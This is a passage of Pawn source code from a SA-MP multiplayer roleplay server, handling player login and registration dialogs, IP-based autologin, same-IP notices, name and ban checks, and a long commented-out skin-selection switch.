			 if(GetPlayerWantedLevel(playerid) >= 1) {WantedTimerEZ[playerid] = 900; WantedKamKonTimerValid[playerid] = true; PlayerTextDrawShow(playerid, WantedTTD[playerid]);}
		  }
	   }
	}
    return 1;
}
public migamloginkon(playerid)
{
if(NaroJelo[playerid]==1)return 1;

		GetPlayerIp(playerid,PINFO[playerid][pIp],100);
		




new string[144];/*
if(IsPlayerConnected(playerid))
{
	   if(!InvalidClient[playerid])
	   {
	   	new myver[40];
	   	new con[144];
		GetPlayerVersion(playerid, myver, sizeof(myver));
	   format(con, sizeof(con), "%s(%i) has joined the server (Official SA-MP %s)", PINFO[playerid][pName], playerid, myver);
		SendAdminMessage2(COLOR_SINAGHERMEZ, con);
		}
		if(InvalidClient[playerid])
		{
		new con1[144];
	   format(con1, sizeof(con1), "%s(%i) has joined the server (Not Official SA-MP Version)", PINFO[playerid][pName], playerid);
		SendAdminMessage2(COLOR_SINAGHERMEZ, con1);
		}
}*/
	   //new stringz[84];
	   //format(stringz, sizeof(stringz), "%s, %s", Sherkat, Keshvar);
		//SendAdminMessage2(COLOR_SINAGHERMEZ, stringz);

		//SetPlayerName(playerid, PlayerInfo[playerid][pName]);
		

			
			
			
	   for(new i = 0;i<Akharish;i++)
	   {
			GetPlayerIp(i,PINFO[i][pIp],100);

			SaveKonStr(i, "pIp", PINFO[i][pIp]);

		  if(IsPlayerConnected(i) && i != playerid)
		  {

			 if (!strcmp(PINFO[playerid][pIp],PINFO[i][pIp]) || !strcmp(PINFO[playerid][pIp],PINFO[i][pIp]))
			{
				format(string, sizeof(string), "%s is same ip with: %s", PINFO[playerid][pName], PINFO[i][pName]);
				  //SendAdminMessage2(COLOR_SINAGHERMEZ, string);
			 }
		  }
	   }


	if (gPlayerLogged[playerid] != 1)
	{
	   if(cache_get_row_count(handle))
	   {
	   if(IsPlayerConnected(playerid))
	   {
		  cache_get_row(0,1,PlayerInfo[playerid][pKey],handle,129);
		  cache_get_row(0,9,PlayerInfo[playerid][pLastLogin],handle,64);
			cache_get_field_content(0, "pAutoIP", PlayerInfo[playerid][pIp], handle, 100);
		  PlayerInfo[playerid][pAuto] = cache_get_field_content_int(0, "pAuto", handle);
		  PlayerInfo[playerid][pPinned] = cache_get_field_content_int(0, "pPinned", handle);
		  PlayerInfo[playerid][pAutoPIN] = cache_get_field_content_int(0, "pAutoPIN", handle);
			if(PlayerInfo[playerid][pAuto] != 1) PlayerInfo[playerid][pAuto] = 0;
		  new tmpPlayerIp[100];
		  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
		  if(!isnull(PlayerInfo[playerid][pIp]))
		  {
			if(!strcmp(PlayerInfo[playerid][pIp], tmpPlayerIp) && PlayerInfo[playerid][pAuto] == 1)
			{
				LoadAccount(playerid);
				format(PlayerInfo[playerid][pIp], 100, "%s", tmpPlayerIp);
				   //SCM(playerid, COLOR_LIGHTRED, "Note> Account has been automatically logged in.");
				   //SCM(playerid, COLOR_LIGHTRED, "Note> If you entered your pin last time, your pincode will be unlocked.");
				   printf("Player %s logged in with autologin enabled", PINFO[playerid][pName]);
				   if(PlayerInfo[playerid][pAutoPIN] == 1 && PlayerInfo[playerid][pPinned] == 1)
				   {
				   SCM(playerid, COLOR_LIGHTRED, "Note> Account has been automatically logged in and pin code has been unlocked.");
				   pindare[playerid] = 1;
				   }
				   if(PlayerInfo[playerid][pAutoPIN] != 1)
				   {
				   SCM(playerid, COLOR_LIGHTRED, "Note> Account has been automatically logged in.");
				   }
				   PlayerTextDrawSetString(playerid, needlog[playerid], "_");
	               PlayerTextDrawHide(playerid, needlog[playerid]);
				return 1;
				}
			}
			}
		  new loginstring[500];
		  TogglePlayerSpectating(playerid, 1);
		  ResetPlayerPool(playerid);
		  
		  
		  

		   new linkkon[100];
		   format(linkkon, sizeof(linkkon), "http://%s", WELCOME_LINK);
           SetToWaitingToJoin(playerid);
		  PlayAudioStreamForPlayer(playerid, linkkon);// Kam hajme sari load mishe by Sina :| :D
		  ResetPlayerPool(playerid);
	      PlayerTextDrawHide(playerid, needlog[playerid]);
	      PlayerTextDrawSetString(playerid, needlog[playerid], "_");
		  
			SetPlayerVirtualWorld(playerid, (playerid+64641));
			format(loginstring,sizeof(loginstring),"{BECBFC}Welcome back, {5168FF}%s{BECBFC}!\n\nPlease enter your password below to login into your account. \n\n{FFFFFF}* Last Login: %s *",PINFO[playerid][pName],PlayerInfo[playerid][pLastLogin]);
		  TextDrawHideForPlayer(playerid, WelcomeMsg);
			TextDrawHideForPlayer(playerid, SvMsg);
			TextDrawHideForPlayer(playerid, RPGMsg);
			ShowPlayerDialog(playerid,12346,DIALOG_STYLE_PASSWORD,"Account Login",loginstring,"Login","Quit");
		  KickLogin[playerid] = SetTimerEx("kicklog", 35000, false, "i", playerid);
		  KickLoginUsed[playerid] = true;
		  onnlogin[playerid] = 1;
	   }
	   else
	   {
	   		   new linkkon[100];
		   format(linkkon, sizeof(linkkon), "http://%s", WELCOME_LINK);
	      PlayerTextDrawHide(playerid, needlog[playerid]);
	      PlayerTextDrawSetString(playerid, needlog[playerid], "_");
          SetPlayerVirtualWorld(playerid, (playerid+64641));
          SetToWaitingToJoin(playerid);
		  ResetPlayerPool(playerid);
		  new regstring[256];
		  new regname[64];
		  GetPlayerName(playerid,regname,sizeof(regname));
		  PlayAudioStreamForPlayer(playerid, linkkon);// Kam hajme sari load mishe by Sina :| :D
		  format(regstring,sizeof(regstring),"{BECBFC}Welcome to the server, {95A3FF}%s{BECBFC}! \n\nPlease register an account by entering your desired password below.",regname);
		  ShowPlayerDialog(playerid,12345,DIALOG_STYLE_PASSWORD,"Account Registration",regstring,"Register","Quit");
			TextDrawHideForPlayer(playerid, WelcomeMsg);
			TextDrawHideForPlayer(playerid, SvMsg);
			TextDrawHideForPlayer(playerid, RPGMsg);
	   }
	   //PlayerPlaySound(playerid, 1187, 0.0, 0.0, 0.0);
	}
	return 1;
}

public OnPlayerRequestClass(playerid, classid)
{
	if(gPlayerLogged[playerid] != 1 && RequestSelected[playerid] == false)
	{
	   RequestSelected[playerid] = true;
	   new plname[MAX_PLAYER_NAME];
	   GetPlayerName(playerid, plname, sizeof(plname));


	GetPlayerName(playerid, plname, sizeof(plname));

	   if(FindBadSign(plname))
	   {
		  ResetPlayerKolang(playerid);
		  TogglePlayerSpectating(playerid,1);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);
		  for(new i = 0; i<100; i++) SCM(playerid,COLOR_WHITE, " ");
		  new alistr[256];
		  format(alistr, 256, "You used an illegal name: %s, use only A-Z, a-z, 0-9, (), [], _, . for you name.",plname[playerid]);
		  KickWithMessage(playerid, COLOR_LIGHTRED, alistr);
		  TextDrawHideForPlayer(playerid,AccountBar);
		  return 0;
	   }
	   if (gPlayerLogged[playerid] != 1 && ManMitoonamSkin[playerid] == 0)
	   {
			//CheckIfPBanned(playerid);
			CheckIfBanned(playerid);
			if(NaroJelo[playerid]==1){TogglePlayerSpectating(playerid,1);return 1;}
			if(PBANNED[playerid] != 1) {SetTimerEx("CheckAccount",3000,0,"i",playerid);}
		  ResetPlayerKolang(playerid);
		  //TogglePlayerSpectating(playerid,1);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);

	   }
	   }
if(gPlayerLogged[playerid] == 1 && ManMitoonamSkin[playerid] != 0)
{
if(ManMitoonamSkin[playerid] == 1 && gPlayerLogged[playerid] >= 1)
{
Error(playerid, "You can change your skin at a binco using /clothes.")
SetTimerEx("SpawnThePlayer", 1, 0, "i", playerid);
}
}
return 1;
}
forward SpawnThePlayer(playerid);
public SpawnThePlayer(playerid)
{
    ResetPlayerKolang(playerid);
    SetSpawnKol(playerid);
    SpawnPlayer(playerid);
    return 1;
}
/*public OnPlayerRequestClass(playerid, classid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(gPlayerLogged[playerid] != 1 && RequestSelected[playerid] == false)
	{
	   RequestSelected[playerid] = true;
	   new plname[MAX_PLAYER_NAME];
	   GetPlayerName(playerid, plname, sizeof(plname));


	GetPlayerName(playerid, plname, sizeof(plname));

	   if(FindBadSign(plname))
	   {
		  ResetPlayerKolang(playerid);
		  TogglePlayerSpectating(playerid,1);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);
		  for(new i = 0; i<100; i++) SCM(playerid,COLOR_WHITE, " ");
		  new alistr[256];
		  format(alistr, 256, "You used an illegal name: %s, use only A-Z, a-z, 0-9, (), [], _, . for you name.",plname[playerid]);
		  KickWithMessage(playerid, COLOR_LIGHTRED, alistr);
		  TextDrawHideForPlayer(playerid,AccountBar);
		  return 0;
	   }
	   if (gPlayerLogged[playerid] != 1 && ManMitoonamSkin[playerid] == 0)
	   {
			CheckIfPBanned(playerid);
			CheckIfBanned(playerid);
			if(PBANNED[playerid] != 1) {SetTimerEx("CheckAccount",3000,0,"i",playerid);}
		  ResetPlayerKolang(playerid);
		  TogglePlayerSpectating(playerid,1);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);

	   }
	}
	if(gPlayerLogged[playerid] == 1 && ManMitoonamSkin[playerid] != 0)
	{
	if(ManMitoonamSkin[playerid] == 1 && gPlayerLogged[playerid] >= 1)
	{
	if(IsInFaction(playerid) && PlayerFahmid[playerid] != 1)
	{
	SCM(playerid, COLOR_SINARANG, "You can change your skin at binco using /clothes.");
	//SCM(playerid,COLOR_SINA3,"This skin saved for Civil time, Type /clothes in a binco for change your skin at your faction/family.");
	PlayerFahmid[playerid] = 1;
	}

	switch(classid)
	{
	case 0:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
	SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 1);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 1;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 1:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 2);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 2;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 2:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
	SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 3);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 3;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 3:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 4);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 4;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 4:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 5);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 5;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 5:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 6);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 6;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 6:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 7);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 7;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 7:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 9);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 9;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 8:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 10);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 10;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 9:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 11);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 11;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 10:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 12);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 12;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 11:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 13);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 13;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 12:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 14);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 14;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 13:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 15);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 15;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 14:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 16);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 16;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 15:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 17);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 17;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 16:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 18);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 18;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 17:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 19);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 19;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 18:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 20);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 20;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 19:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 21);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 21;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 20:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 22);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 22;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 21:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 23);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 23;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 22:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 24);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 24;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 23:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 25);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 25;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 24:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 26);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 26;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 25:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 27);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 27;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 26:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 28);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 28;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 27:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 170);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 170;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 28:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 30);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 30;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 29:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 31);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 31;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 30:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 32);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 32;
	SetPlayerFacingAngle( playerid, 0 );
	SetPlayerVirtualWorld(playerid, 2);
	}
	case 31:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 33);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 33;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 32:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 34);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 34;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 33:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 35);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 35;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 34:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 36);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 36;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 35:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 37);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 37;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 36:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 38);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 38;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 37:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 39);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 39;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 38:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 40);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
